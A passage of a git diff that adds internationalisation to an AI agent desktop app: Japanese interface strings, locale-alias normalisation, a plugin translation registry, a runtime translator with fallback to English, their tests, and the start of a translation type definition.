+        edit_file: { done: 'ファイルを編集しました', pending: 'ファイルを編集中', pendingAction: '編集中' },
+        execute_code: { done: 'コードを実行しました', pending: 'スクリプト作成中', pendingAction: 'スクリプト作成中' },
+        image_generate: { done: '画像を生成しました', pending: '画像を生成中', pendingAction: '生成中' },
+        list_files: {
+          done: 'ファイルを一覧表示しました',
+          pending: 'ファイルを一覧表示中',
+          pendingAction: '一覧表示中'
+        },
+        memory: {
+          done: 'メモリに保存しました',
+          pending: 'メモリに保存中',
+          pendingAction: '保存中'
+        },
+        patch: {
+          done: 'ファイルにパッチを適用しました',
+          pending: 'ファイルにパッチ適用中',
+          pendingAction: 'パッチ適用中'
+        },
+        read_file: { done: 'ファイルを読み取りました', pending: 'ファイルを読み取り中', pendingAction: '読み取り中' },
+        search_files: { done: 'ファイルを検索しました', pending: 'ファイルを検索中', pendingAction: '検索中' },
+        session_search_recall: {
+          done: 'セッション履歴を検索しました',
+          pending: 'セッション履歴を検索中',
+          pendingAction: '検索中'
+        },
+        terminal: { done: 'コマンドを実行しました', pending: 'コマンドを実行中', pendingAction: '実行中' },
+        todo: { done: 'Todo を更新しました', pending: 'Todo を更新中', pendingAction: '更新中' },
+        vision_analyze: { done: '画像を分析しました', pending: '画像を分析中', pendingAction: '分析中' },
+        web_extract: {
+          done: 'Web ページを読み取りました',
+          pending: 'Web ページを読み取り中',
+          pendingAction: '読み取り中'
+        },
+        web_search: { done: 'Web を検索しました', pending: 'Web を検索中', pendingAction: '検索中' },
+        write_file: { done: 'ファイルを編集しました', pending: 'ファイルを編集中', pendingAction: '編集中' }
+      }
+    }
+  },
+
+  prompts: {
+    gatewayDisconnected: 'ClawCodex ゲートウェイが接続されていません',
+    sudoSendFailed: 'sudo パスワードを送信できませんでした',
+    secretSendFailed: 'シークレットを送信できませんでした',
+    sudoTitle: '管理者パスワード',
+    sudoDesc:
+      'ClawCodex は特権コマンドを実行するために sudo パスワードが必要です。ローカルエージェントにのみ送信されます。',
+    sudoPlaceholder: 'sudo パスワード',
+    secretTitle: 'シークレットが必要です',
+    secretDesc: 'ClawCodex は続行するための認証情報が必要です。',
+    secretPlaceholder: 'シークレット値'
+  },
+
+  desktop: {
+    audioReadFailed: '録音した音声を読み取れませんでした',
+    sessionUnavailable: 'セッションが利用できません',
+    createSessionFailed: '新しいセッションを作成できませんでした',
+    promptFailed: 'プロンプトに失敗しました',
+    providerCredentialRequired: '最初のメッセージを送信する前にプロバイダー認証情報を追加してください。',
+    emptySlashCommand: '空のスラッシュコマンド',
+    desktopCommands: 'デスクトップコマンド',
+    skillCommandsAvailable: count => `${count} 件のスキルコマンドが利用可能です。`,
+    warningLine: message => `警告: ${message}`,
+    yoloArmed: 'このチャットでは YOLO が有効になっています',
+    yoloOff: 'YOLO オフ',
+    yoloSystem: active => `このセッションの YOLO ${active ? 'オン' : 'オフ'}`,
+    yoloTitle: 'YOLO',
+    yoloToggleFailed: 'YOLO を切り替えられませんでした',
+    profileStatus: current =>
+      `プロファイル: ${current}。/profile <name> または「新しいセッション」ピッカーを使って別のプロファイルでチャットを始めてください。`,
+    unknownProfile: '不明なプロファイル',
+    noProfileNamed: (target, available) => `"${target}" という名前のプロファイルはありません。利用可能: ${available}`,
+    newChatsProfile: name => `新しいチャットはプロファイル ${name} を使用します。`,
+    setProfileFailed: 'プロファイルの設定に失敗しました',
+    sttDisabled: '音声認識は設定で無効になっています。',
+    stopFailed: '停止に失敗しました',
+    regenerateFailed: '再生成に失敗しました',
+    editFailed: '編集に失敗しました',
+    resumeFailed: '再開に失敗しました',
+    resumeStrandedTitle: 'このセッションを読み込めませんでした',
+    resumeStrandedBody:
+      'このセッションへの接続に失敗し、自動再試行も停止しました。ゲートウェイが実行中か確認してから、もう一度お試しください。',
+    resumeRetry: '再試行',
+    nothingToBranch: 'ブランチするものがありません',
+    branchNeedsChat: 'ブランチする前にチャットを開始または再開してください。',
+    sessionBusy: 'セッションが使用中',
+    branchStopCurrent: 'このチャットをブランチする前に現在のターンを停止してください。',
+    branchNoText: 'このメッセージにはブランチするテキストがありません。',
+    branchTitle: n => `下書き: ブランチ #${n}`,
+    branchFailed: 'ブランチに失敗しました',
+    deleteFailed: '削除に失敗しました',
+    archived: 'アーカイブしました',
+    archiveFailed: 'アーカイブに失敗しました',
+    cwdChangeFailed: '作業ディレクトリの変更に失敗しました',
+    cwdStagedTitle: '作業ディレクトリがステージングされました',
+    cwdStagedMessage:
+      'このアクティブなセッションへの cwd の変更を適用するにはデスクトップバックエンドを再起動してください。',
+    modelSwitchFailed: 'モデルの切り替えに失敗しました',
+    sessionExported: 'セッションをエクスポートしました',
+    sessionExportFailed: 'セッションをエクスポートできませんでした',
+    imageSaved: '画像を保存しました',
+    downloadStarted: 'ダウンロードを開始しました',
+    restartToUseSaveImage: '画像を保存するには ClawCodex Desktop を再起動してください。',
+    restartToSaveImages: '画像を保存するには ClawCodex Desktop を再起動してください',
+    imageDownloadFailed: '画像のダウンロードに失敗しました',
+    openImage: '画像を開く',
+    downloadImage: '画像をダウンロード',
+    savingImage: '画像を保存中',
+    imagePreviewFailed: '画像のプレビューに失敗しました',
+    imageAttach: '画像を添付',
+    imageWriteFailed: '画像のディスクへの書き込みに失敗しました。',
+    imageAttachFailed: '画像の添付に失敗しました',
+    attachImages: '画像を添付',
+    clipboard: 'クリップボード',
+    noClipboardImage: 'クリップボードに画像が見つかりません',
+    clipboardPasteFailed: 'クリップボードからの貼り付けに失敗しました',
+    dropFiles: 'ファイルをドロップ',
+    handoff: {
+      pickPlatform: '送信先を選択',
+      success: platform => `${platform} に引き継ぎました。いつでもここで再開できます。`,
+      systemNote: platform => `↻ ${platform} に引き継ぎました — いつでもここで再開できます。`,
+      failed: error => `引き継ぎに失敗しました: ${error}`,
+      timedOut: 'ゲートウェイの待機がタイムアウトしました。`clawcodex gateway` は起動していますか？'
+    }
+  },
+
+  errors: {
+    genericFailure: '問題が発生しました',
+    boundaryTitle: 'インターフェイスで問題が発生しました',
+    boundaryDesc: 'ビューで予期しないエラーが発生しました。チャットと設定は安全です。',
+    reloadWindow: 'ウィンドウを再読み込み',
+    openLogs: 'ログを開く'
+  },
+
+  ui: {
+    search: {
+      clear: '検索をクリア'
+    },
+    pagination: {
+      label: 'ページング',
+      previous: '前へ',
+      previousAria: '前のページへ',
+      next: '次へ',
+      nextAria: '次のページへ'
+    },
+    sidebar: {
+      title: 'サイドバー',
+      description: 'モバイルサイドバーを表示します。',
+      toggle: open => `サイドバーを${open ? '表示' : '非表示'}`
+    }
+  }
+})
diff --git a/ui-desktop/src/i18n/languages.test.ts b/ui-desktop/src/i18n/languages.test.ts
new file mode 100644
index 000000000..fa6a8a4c2
--- /dev/null
+++ b/ui-desktop/src/i18n/languages.test.ts
@@ -0,0 +1,48 @@
+import { describe, expect, it } from 'vitest'
+
+import { DEFAULT_LOCALE, isLocale, isSupportedLocaleValue, localeConfigValue, normalizeLocale } from './languages'
+
+describe('desktop i18n languages', () => {
+  it('normalizes supported locale aliases', () => {
+    expect(normalizeLocale('en')).toBe('en')
+    expect(normalizeLocale('EN-US')).toBe('en')
+    expect(normalizeLocale('zh')).toBe('zh')
+    expect(normalizeLocale('zh-CN')).toBe('zh')
+    expect(normalizeLocale('zh-Hans')).toBe('zh')
+    expect(normalizeLocale(' zh_hans_cn ')).toBe('zh')
+    expect(normalizeLocale('zh-Hant')).toBe('zh-hant')
+    expect(normalizeLocale('zh-TW')).toBe('zh-hant')
+    expect(normalizeLocale('zh_HK')).toBe('zh-hant')
+    expect(normalizeLocale('ja')).toBe('ja')
+    expect(normalizeLocale('ja-JP')).toBe('ja')
+    expect(normalizeLocale('ar')).toBe('ar')
+    expect(normalizeLocale('AR-SA')).toBe('ar')
+    expect(normalizeLocale(' ar_eg ')).toBe('ar')
+  })
+
+  it('falls back to English for empty or unsupported values', () => {
+    expect(normalizeLocale(null)).toBe(DEFAULT_LOCALE)
+    expect(normalizeLocale('')).toBe(DEFAULT_LOCALE)
+    expect(normalizeLocale('de')).toBe(DEFAULT_LOCALE)
+  })
+
+  it('distinguishes exact locale ids from supported config aliases', () => {
+    expect(isSupportedLocaleValue('zh-CN')).toBe(true)
+    expect(isSupportedLocaleValue('zh-TW')).toBe(true)
+    expect(isSupportedLocaleValue('ja-JP')).toBe(true)
+    expect(isSupportedLocaleValue('de')).toBe(false)
+    expect(isLocale('zh-CN')).toBe(false)
+    expect(isLocale('zh')).toBe(true)
+    expect(isLocale('zh-hant')).toBe(true)
+    expect(isLocale('ja')).toBe(true)
+    expect(isLocale('ar')).toBe(true)
+  })
+
+  it('returns the persisted config value for supported locales', () => {
+    expect(localeConfigValue('en')).toBe('en')
+    expect(localeConfigValue('zh')).toBe('zh')
+    expect(localeConfigValue('zh-hant')).toBe('zh-hant')
+    expect(localeConfigValue('ja')).toBe('ja')
+    expect(localeConfigValue('ar')).toBe('ar')
+  })
+})
diff --git a/ui-desktop/src/i18n/languages.ts b/ui-desktop/src/i18n/languages.ts
new file mode 100644
index 000000000..e4a1fb1e0
--- /dev/null
+++ b/ui-desktop/src/i18n/languages.ts
@@ -0,0 +1,103 @@
+import { normalize } from '@/lib/text'
+
+import type { Locale } from './types'
+
+export const DEFAULT_LOCALE: Locale = 'en'
+
+export const LOCALE_OPTIONS = [
+  {
+    id: 'en',
+    name: 'English',
+    englishName: 'English',
+    configValue: 'en'
+  },
+  {
+    id: 'zh',
+    name: '简体中文',
+    englishName: 'Simplified Chinese',
+    configValue: 'zh'
+  },
+  {
+    id: 'zh-hant',
+    name: '繁體中文',
+    englishName: 'Traditional Chinese',
+    configValue: 'zh-hant'
+  },
+  {
+    id: 'ja',
+    name: '日本語',
+    englishName: 'Japanese',
+    configValue: 'ja'
+  },
+  {
+    id: 'ar',
+    name: 'العربية',
+    englishName: 'Arabic',
+    configValue: 'ar'
+  }
+] as const satisfies readonly { configValue: string; englishName: string; id: Locale; name: string }[]
+
+// `name` is the endonym (native name) shown in the picker so users recognize
+// their language regardless of the current UI language. No country flags:
+// languages are not countries. `englishName` is search-only (not shown) so an
+// English speaker can type "japanese"/"traditional" to filter the list.
+export const LOCALE_META: Record<Locale, { name: string; englishName: string }> = Object.fromEntries(
+  LOCALE_OPTIONS.map(locale => [locale.id, { name: locale.name, englishName: locale.englishName }])
+) as Record<Locale, { name: string; englishName: string }>
+
+const LOCALE_ALIASES: Record<string, Locale> = {
+  en: 'en',
+  'en-us': 'en',
+  en_us: 'en',
+  zh: 'zh',
+  'zh-cn': 'zh',
+  zh_cn: 'zh',
+  'zh-hans': 'zh',
+  zh_hans: 'zh',
+  'zh-hans-cn': 'zh',
+  zh_hans_cn: 'zh',
+  'zh-tw': 'zh-hant',
+  zh_tw: 'zh-hant',
+  'zh-hk': 'zh-hant',
+  zh_hk: 'zh-hant',
+  'zh-mo': 'zh-hant',
+  zh_mo: 'zh-hant',
+  'zh-hant': 'zh-hant',
+  zh_hant: 'zh-hant',
+  'zh-hant-tw': 'zh-hant',
+  zh_hant_tw: 'zh-hant',
+  'zh-hant-hk': 'zh-hant',
+  zh_hant_hk: 'zh-hant',
+  ja: 'ja',
+  'ja-jp': 'ja',
+  ja_jp: 'ja',
+  ar: 'ar',
+  'ar-sa': 'ar',
+  ar_sa: 'ar',
+  'ar-ae': 'ar',
+  ar_ae: 'ar',
+  'ar-eg': 'ar',
+  ar_eg: 'ar',
+  arabic: 'ar',
+  العربية: 'ar'
+}
+
+export function isLocale(value: unknown): value is Locale {
+  return typeof value === 'string' && LOCALE_OPTIONS.some(locale => locale.id === value)
+}
+
+export function normalizeLocale(value: unknown): Locale {
+  if (typeof value !== 'string') {
+    return DEFAULT_LOCALE
+  }
+
+  return LOCALE_ALIASES[normalize(value)] ?? DEFAULT_LOCALE
+}
+
+export function isSupportedLocaleValue(value: unknown): boolean {
+  return typeof value === 'string' && LOCALE_ALIASES[normalize(value)] != null
+}
+
+export function localeConfigValue(locale: Locale): string {
+  return LOCALE_OPTIONS.find(item => item.id === locale)?.configValue ?? DEFAULT_LOCALE
+}
diff --git a/ui-desktop/src/i18n/plugin-i18n.test.tsx b/ui-desktop/src/i18n/plugin-i18n.test.tsx
new file mode 100644
index 000000000..44e99d588
--- /dev/null
+++ b/ui-desktop/src/i18n/plugin-i18n.test.tsx
@@ -0,0 +1,126 @@
+import { act, cleanup, fireEvent, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it } from 'vitest'
+
+import { I18nProvider, useI18n } from './context'
+import { createPluginI18n, registerPluginLocales, translatePlugin, usePluginI18n } from './plugin-i18n'
+import { setRuntimeI18nLocale } from './runtime'
+
+const noopTrack = (dispose: () => void) => dispose
+
+afterEach(() => {
+  cleanup()
+  setRuntimeI18nLocale('en')
+})
+
+describe('plugin locale registry', () => {
+  it('resolves the active locale, falling back to English then the raw key', () => {
+    const dispose = registerPluginLocales('cost', {
+      en: { panel: { title: 'Cost' }, spent: (n: number) => `$${n} spent` },
+      ja: { panel: { title: 'コスト' } }
+    })
+
+    expect(translatePlugin('cost', 'ja', 'panel.title', [])).toBe('コスト')
+    // Missing in ja → English.
+    expect(translatePlugin('cost', 'ja', 'spent', [7])).toBe('$7 spent')
+    // Missing everywhere → the key itself.
+    expect(translatePlugin('cost', 'ja', 'nope', [])).toBe('nope')
+
+    dispose()
+  })
+
+  it('scopes bundles per plugin — no cross-read', () => {
+    const a = registerPluginLocales('a', { en: { hi: 'from a' } })
+    const b = registerPluginLocales('b', { en: { hi: 'from b' } })
+
+    expect(translatePlugin('a', 'en', 'hi', [])).toBe('from a')
+    expect(translatePlugin('b', 'en', 'hi', [])).toBe('from b')
+    // An unknown plugin resolves to the key.
+    expect(translatePlugin('c', 'en', 'hi', [])).toBe('hi')
+
+    a()
+    b()
+  })
+
+  it('merges repeated registrations and drops everything on dispose', () => {
+    const one = registerPluginLocales('merge', { en: { a: 'A' } })
+    const two = registerPluginLocales('merge', { en: { b: 'B' }, ja: { a: 'あ' } })
+
+    expect(translatePlugin('merge', 'en', 'a', [])).toBe('A')
+    expect(translatePlugin('merge', 'en', 'b', [])).toBe('B')
+    expect(translatePlugin('merge', 'ja', 'a', [])).toBe('あ')
+
+    one()
+    two()
+
+    expect(translatePlugin('merge', 'en', 'a', [])).toBe('a')
+  })
+
+  it('ctx.i18n.t reads the app runtime locale', () => {
+    const i18n = createPluginI18n('runtime-plugin', noopTrack)
+    i18n.register({ en: { greet: 'hello' }, ja: { greet: 'こんにちは' } })
+
+    expect(i18n.t('greet')).toBe('hello')
+
+    setRuntimeI18nLocale('ja')
+    expect(i18n.t('greet')).toBe('こんにちは')
+  })
+})
+
+function Probe({ pluginId }: { pluginId: string }) {
+  const t = usePluginI18n(pluginId)
+
+  return <p data-testid="copy">{t('greet')}</p>
+}
+
+function SwitchToJa() {
+  const { setLocale } = useI18n()
+
+  return (
+    <button onClick={() => void setLocale('ja')} type="button">
+      to ja
+    </button>
+  )
+}
+
+describe('usePluginI18n', () => {
+  it('re-renders on a locale switch', () => {
+    const dispose = registerPluginLocales('hooked', {
+      en: { greet: 'hello' },
+      ja: { greet: 'こんにちは' }
+    })
+
+    render(
+      <I18nProvider configClient={null}>
+        <SwitchToJa />
+        <Probe pluginId="hooked" />
+      </I18nProvider>
+    )
+
+    expect(screen.getByTestId('copy').textContent).toBe('hello')
+
+    fireEvent.click(screen.getByRole('button'))
+
+    expect(screen.getByTestId('copy').textContent).toBe('こんにちは')
+
+    dispose()
+  })
+
+  it('picks up a bundle registered after mount', () => {
+    render(
+      <I18nProvider configClient={null}>
+        <Probe pluginId="late" />
+      </I18nProvider>
+    )
+
+    expect(screen.getByTestId('copy').textContent).toBe('greet')
+
+    let dispose = () => {}
+    act(() => {
+      dispose = registerPluginLocales('late', { en: { greet: 'landed' } })
+    })
+
+    expect(screen.getByTestId('copy').textContent).toBe('landed')
+
+    dispose()
+  })
+})
diff --git a/ui-desktop/src/i18n/plugin-i18n.ts b/ui-desktop/src/i18n/plugin-i18n.ts
new file mode 100644
index 000000000..a8e9c79a4
--- /dev/null
+++ b/ui-desktop/src/i18n/plugin-i18n.ts
@@ -0,0 +1,116 @@
+/**
+ * Plugin-scoped i18n — the `ctx.storage` analog for locale bundles. A plugin
+ * ships its own strings and registers them under its id; it never edits core
+ * `en.ts`. Resolution mirrors the app translator: active locale → the plugin's
+ * own `en` bundle → the key itself. The active locale is always the app's
+ * (`display.language`) — plugins follow the user's choice, they don't own it.
+ *
+ * Two consumers, same shape as core (`useI18n` / `translateNow`):
+ *  - `usePluginI18n(id)` — reactive translator for React UI (re-renders on a
+ *    locale switch or a late bundle registration);
+ *  - `ctx.i18n.t` — module-level translator for handlers/stores (non-reactive).
+ */
+
+import { useStore } from '@nanostores/react'
+import { atom } from 'nanostores'
+import { useCallback } from 'react'
+
+import { useI18n } from './context'
+import { getRuntimeI18nLocale, translateFrom } from './runtime'
+import type { Locale } from './types'
+
+/** A leaf message: a literal or an interpolator (`n => `${n} left``). */
+export type PluginMessageValue = string | ((...args: never[]) => string)
+
+/** A plugin's messages for one locale — nested trees allowed, addressed by
+ *  dot-path (`panel.title`). */
+export interface PluginMessages {
+  [key: string]: PluginMessages | PluginMessageValue
+}
+
+/** Locale → messages. Keyed by the app's locales so autocomplete guides you;
+ *  a bundle for a locale the app can't select is simply never resolved. */
+export type PluginLocaleBundles = Partial<Record<Locale, PluginMessages>>
+
+/** Resolve `key` for this plugin against `args`; falls back to English, then
+ *  the raw key. */
+export type PluginTranslate = (key: string, ...args: unknown[]) => string
+
+export interface PluginI18n {
+  /** Merge locale bundles for this plugin (call once at `register`). Returns a
+   *  disposer that drops the plugin's bundles on unload/reload. */
+  register: (bundles: PluginLocaleBundles) => () => void
+  /** Module-level translator against the app's active locale (mirrors
+   *  `translateNow`). Non-reactive — in React prefer `usePluginI18n`. */
+  t: PluginTranslate
+}
+
+const registry = new Map<string, Map<Locale, PluginMessages>>()
+
+/** Bumps whenever a plugin's bundles change, so React translators re-render on
+ *  a registration that lands after first paint. */
+const $version = atom(0)
+
+function isRecord(value: unknown): value is Record<string, unknown> {
+  return typeof value === 'object' && value !== null && !Array.isArray(value)
+}
+
+function mergeMessages(base: PluginMessages, overrides: PluginMessages): PluginMessages {
+  const result: PluginMessages = { ...base }
+
+  for (const [key, value] of Object.entries(overrides)) {
+    const prev = result[key]
+    result[key] = isRecord(prev) && isRecord(value) ? mergeMessages(prev, value) : value
+  }
+
+  return result
+}
+
+export function registerPluginLocales(pluginId: string, bundles: PluginLocaleBundles): () => void {
+  const byLocale = registry.get(pluginId) ?? new Map<Locale, PluginMessages>()
+  registry.set(pluginId, byLocale)
+
+  for (const [locale, messages] of Object.entries(bundles) as [Locale, PluginMessages | undefined][]) {
+    if (!messages) {
+      continue
+    }
+
+    const prev = byLocale.get(locale)
+    byLocale.set(locale, prev ? mergeMessages(prev, messages) : messages)
+  }
+
+  $version.set($version.get() + 1)
+
+  return () => {
+    registry.delete(pluginId)
+    $version.set($version.get() + 1)
+  }
+}
+
+export function translatePlugin(pluginId: string, locale: Locale, key: string, args: unknown[]): string {
+  return translateFrom(l => registry.get(pluginId)?.get(l), locale, key, args)
+}
+
+/** Build the `ctx.i18n` door for a plugin. `track` records the disposer so the
+ *  loader tears bundles down on unload (same lifecycle as `register`/`socket`). */
+export function createPluginI18n(pluginId: string, track: (dispose: () => void) => () => void): PluginI18n {
+  return {
+    register: bundles => track(registerPluginLocales(pluginId, bundles)),
+    t: (key, ...args) => translatePlugin(pluginId, getRuntimeI18nLocale(), key, args)
+  }
+}
+
+/** Reactive scoped translator for React UI. Re-renders on a locale switch or a
+ *  late bundle registration. Pass your plugin id (your default export's `id`). */
+export function usePluginI18n(pluginId: string): PluginTranslate {
+  const { locale } = useI18n()
+
+  // Subscribe so a bundle registered after mount repaints; `translatePlugin`
+  // reads the live registry, so the memoized closure needs only id + locale.
+  useStore($version)
+
+  return useCallback(
+    (key: string, ...args: unknown[]) => translatePlugin(pluginId, locale, key, args),
+    [pluginId, locale]
+  )
+}
diff --git a/ui-desktop/src/i18n/runtime.test.ts b/ui-desktop/src/i18n/runtime.test.ts
new file mode 100644
index 000000000..6454b990c
--- /dev/null
+++ b/ui-desktop/src/i18n/runtime.test.ts
@@ -0,0 +1,75 @@
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+
+import { fieldCopyForSchemaKey } from '@/app/settings/field-copy'
+
+import { TRANSLATIONS } from './catalog'
+import { setRuntimeI18nLocale, translateNow } from './runtime'
+import { zh } from './zh'
+
+describe('desktop i18n runtime translator', () => {
+  beforeEach(() => {
+    setRuntimeI18nLocale('en')
+  })
+
+  afterEach(() => {
+    setRuntimeI18nLocale('en')
+  })
+
+  it('translates string paths for the active runtime locale', () => {
+    setRuntimeI18nLocale('zh')
+
+    expect(translateNow('boot.ready')).toBe('ClawCodex 桌面版已就绪')
+    expect(translateNow('notifications.voice.noSpeechDetected')).toBe('没有检测到语音')
+    expect(translateNow('composer.lookupNoMatches')).toBe('没有匹配项。')
+    expect(translateNow('assistant.tool.statusRecovered')).toBe('已恢复')
+  })
+
+  it('passes arguments to function translations', () => {
+    expect(translateNow('notifications.updateReadyMessage', 2)).toBe('2 new changes available.')
+  })
+
+  it('translates migrated overlap keys for newly supported locales', () => {
+    setRuntimeI18nLocale('ja')
+    expect(translateNow('common.save')).toBe('保存')
+
+    setRuntimeI18nLocale('zh-hant')
+    expect(translateNow('cron.promptPlaceholder')).toBe('代理每次執行時應做什麼？')
+  })
+
+  it('translates settings copy for newly supported locales', () => {
+    setRuntimeI18nLocale('ja')
+    expect(translateNow('settings.appearance.title')).toBe('外観')
+    expect(translateNow('settings.nav.providers')).toBe('プロバイダー')
+
+    setRuntimeI18nLocale('zh-hant')
+    expect(translateNow('settings.appearance.title')).toBe('外觀')
+    expect(translateNow('settings.nav.providerApiKeys')).toBe('API 金鑰')
+  })
+
+  it('keeps translated settings field copy addressable from schema keys', () => {
+    const field = ['display', 'show_reasoning'].join('.')
+
+    expect(fieldCopyForSchemaKey(zh.settings.fieldLabels, field)).toBe('推理过程块')
+    expect(fieldCopyForSchemaKey(zh.settings.fieldDescriptions, field)).toBe('当后端提供推理内容时予以显示。')
+  })
+
+  it('falls back to English when the active locale cannot resolve a key', () => {
+    const boot = TRANSLATIONS.ja.boot as { ready?: string }
+    const originalReady = boot.ready
+
+    try {
+      boot.ready = undefined
+      setRuntimeI18nLocale('ja')
+
+      expect(translateNow('boot.ready')).toBe('ClawCodex Desktop is ready')
+    } finally {
+      boot.ready = originalReady
+    }
+  })
+
+  it('returns the key when no locale can resolve a path', () => {
+    setRuntimeI18nLocale('zh')
+
+    expect(translateNow('missing.path')).toBe('missing.path')
+  })
+})
diff --git a/ui-desktop/src/i18n/runtime.ts b/ui-desktop/src/i18n/runtime.ts
new file mode 100644
index 000000000..71d2162c1
--- /dev/null
+++ b/ui-desktop/src/i18n/runtime.ts
@@ -0,0 +1,66 @@
+import { TRANSLATIONS } from './catalog'
+import { DEFAULT_LOCALE } from './languages'
+import type { Locale } from './types'
+
+let runtimeLocale: Locale = DEFAULT_LOCALE
+
+function isRecord(value: unknown): value is Record<string, unknown> {
+  return typeof value === 'object' && value !== null && !Array.isArray(value)
+}
+
+/** Walk a dot-path (`a.b.c`) into a nested message tree. */
+function resolvePath(source: unknown, key: string): unknown {
+  return key.split('.').reduce<unknown>((current, part) => (isRecord(current) ? current[part] : undefined), source)
+}
+
+/** A string is returned as-is, a function is called with `args`, else `null`. */
+function render(value: unknown, args: unknown[]): null | string {
+  if (typeof value === 'string') {
+    return value
+  }
+
+  if (typeof value === 'function') {
+    return (value as (...args: unknown[]) => string)(...args)
+  }
+
+  return null
+}
+
+/** The active → DEFAULT → key resolution every translator shares. `source`
+ *  yields a message tree per locale — the app catalog, or a plugin's bundles. */
+export function translateFrom(
+  source: (locale: Locale) => unknown,
+  locale: Locale,
+  key: string,
+  args: unknown[]
+): string {
+  const active = render(resolvePath(source(locale), key), args)
+
+  if (active !== null) {
+    return active
+  }
+
+  if (locale !== DEFAULT_LOCALE) {
+    const fallback = render(resolvePath(source(DEFAULT_LOCALE), key), args)
+
+    if (fallback !== null) {
+      return fallback
+    }
+  }
+
+  return key
+}
+
+export function setRuntimeI18nLocale(locale: Locale) {
+  runtimeLocale = locale
+}
+
+/** The locale module-level translators resolve against (the app's active
+ *  `display.language`). Plugin `ctx.i18n.t` reads this too. */
+export function getRuntimeI18nLocale(): Locale {
+  return runtimeLocale
+}
+
+export function translateNow(key: string, ...args: unknown[]): string {
+  return translateFrom(locale => TRANSLATIONS[locale], runtimeLocale, key, args)
+}
diff --git a/ui-desktop/src/i18n/types.ts b/ui-desktop/src/i18n/types.ts
new file mode 100644
index 000000000..f90e16369
--- /dev/null
+++ b/ui-desktop/src/i18n/types.ts
@@ -0,0 +1,2537 @@
+// Desktop i18n type contract.
+//
+// `Translations` is the single source of truth for every translatable string
+// surface. Fully translated locale files may satisfy this interface directly;
+// partial locales should use `defineLocale()` so missing desktop-only strings
+// fall back to English while new keys remain type-checked.
+
+export type Locale = 'en' | 'zh' | 'zh-hant' | 'ja' | 'ar'
+
+export type ToolTitleKey =
+  | 'browser_click'
+  | 'browser_fill'
+  | 'browser_navigate'
+  | 'browser_snapshot'
+  | 'browser_take_screenshot'
+  | 'browser_type'
+  | 'clarify'
+  | 'cronjob'
+  | 'edit_file'
+  | 'execute_code'
+  | 'image_generate'
+  | 'list_files'
+  | 'memory'
+  | 'patch'
+  | 'read_file'
+  | 'search_files'
+  | 'session_search_recall'
+  | 'terminal'
+  | 'todo'
+  | 'vision_analyze'
+  | 'web_extract'
+  | 'web_search'
+  | 'write_file'
+
+interface ToolTitleCopy {
+  done: string
+  pending: string
+  pendingAction: string
+}
+
+interface ModeOptionCopy {
+  label: string
+  description: string
+}
+
+interface AuxTaskCopy {
+  label: string
+  hint: string
+}
+
+export interface Translations {
+  common: {
+    apply: string
+    back: string
+    save: string
+    saving: string
+    cancel: string
+    change: string
+    choose: string
+    clear: string
+    close: string
+    collapse: string
+    confirm: string
+    connect: string
+    connecting: string
+    continue: string
+    copied: string
+    copy: string
+    copyFailed: string
+    delete: string
+    docs: string
+    done: string
+    error: string
+    expand: string
+    failed: string
+    formatJson: string
+    free: string
+    loading: string
+    notSet: string
+    refresh: string
+    remove: string
+    replace: string
+    retry: string
+    run: string
+    send: string
+    set: string
+    skip: string
+    update: string
+    tryHint: (term: string) => string
+    on: string
+    off: string
+  }
+
+  fileMenu: {
+    revealFinder: string
+    revealExplorer: string
+    revealFileManager: string
+    revealInSidebar: string
+    copyPath: string
+    copyRelativePath: string
+    rename: string
+    delete: string
+    renameTitle: string
+    renameLabel: string
+    deleteTitle: (name: string) => string
+    deleteBody: string
+    pathCopied: string
+  }
+
+  boot: {
+    ready: string
+    desktopBootFailedWithMessage: (message: string) => string
+    steps: {
+      connectingGateway: string
+      loadingSettings: string
+      loadingSessions: string
+      startingDesktopConnection: string
+      startingClawCodexDesktop: string
+    }
+    errors: {
+      backgroundExited: string
+      backgroundExitedDuringStartup: string
+      backendStopped: string
+      desktopBootFailed: string
+      gatewayConnectionLost: string
+      gatewaySignInRequired: string
+      ipcBridgeUnavailable: string
+    }
+    failure: {
+      title: string
+      description: string
+      remoteTitle: string
+      remoteDescription: string
+      retry: string
+      repairInstall: string
+      useLocalGateway: string
+      gatewaySettings: string
+      back: string
+      openLogs: string
+      repairHint: string
+      remoteSignInHint: (signInLabel: string) => string
+      signOutAndSignIn: string
+      remoteFailureHint: string
+      hideRecentLogs: string
+      showRecentLogs: string
+      signedInTitle: string
+      signedInMessage: string
+      signInIncompleteTitle: string
+      signInIncompleteMessage: string
+      signInFailed: string
+      signInToRemoteGateway: string
+      signInWithProvider: (provider: string) => string
+      identityProvider: string
+    }
+  }
+
+  notifications: {
+    region: string
+    hide: string
+    show: string
+    more: (count: number) => string
+    clearAll: string
+    dismiss: string
+    details: string
+    copyDetail: string
+    copyDetailFailed: string
+    backendOutOfDateTitle: string
+    backendOutOfDateMessage: string
+    installMethodUnsupportedTitle: string
+    updateClawCodex: string
+    updateReadyTitle: string
+    updateReadyMessage: (count: number) => string
+    seeWhatsNew: string
+    errors: {
+      elevenLabsNeedsKey: string
+      elevenLabsRejectedKey: string
+      diskFull: string
+      gatewayAuthFailed: string
+      methodNotAllowed: string
+      microphonePermission: string
+      openaiRejectedApiKey: string
+      openaiRejectedApiKeyWithStatus: (status: string) => string
+      openaiTtsNeedsKey: string
+    }
+    voice: {
+      configureSpeechToText: string
+      couldNotStartSession: string
+      microphoneAccessDenied: string
+      microphoneConstraintsUnsupported: string
+      microphoneFailed: string
+      microphoneInUse: string
+      microphonePermissionDenied: string
+      microphoneStartFailed: string
+      microphoneUnsupported: string
+      noMicrophone: string
+      noSpeechDetected: string
+      playbackFailed: string
+      recordingFailed: string
+      sayStopToEnd: (phrase: string) => string
+      transcriptionFailed: string
+      transcriptionUnavailable: string
+      tryRecordingAgain: string
+      unavailable: string
+    }
+    // Native OS notification copy (titles + generic fallback bodies). Dynamic
+    // bodies (the agent's reply, a command, an error) are passed through raw.
+    native: {
+      approvalTitle: string
+      approveAction: string
+      rejectAction: string
+      inputTitle: string
+      inputBody: string
+      turnDoneTitle: string
+      turnDoneBody: string
+      turnErrorTitle: string
+      backgroundDoneTitle: string
+      backgroundFailedTitle: string
+      creditsTitle: string
+    }
+  }
+
+  remoteDisplayBanner: {
+    message: (reason: string) => string
+  }
+
+  billingBlock: {
+    titleNous: string
+    titleProvider: (provider: string) => string
+    fallbackMessage: string
+    openBilling: string
+    addCredits: string
+    dismiss: string
+  }
+
+  titlebar: {
+    hideSidebar: string
+    showSidebar: string
+    search: string
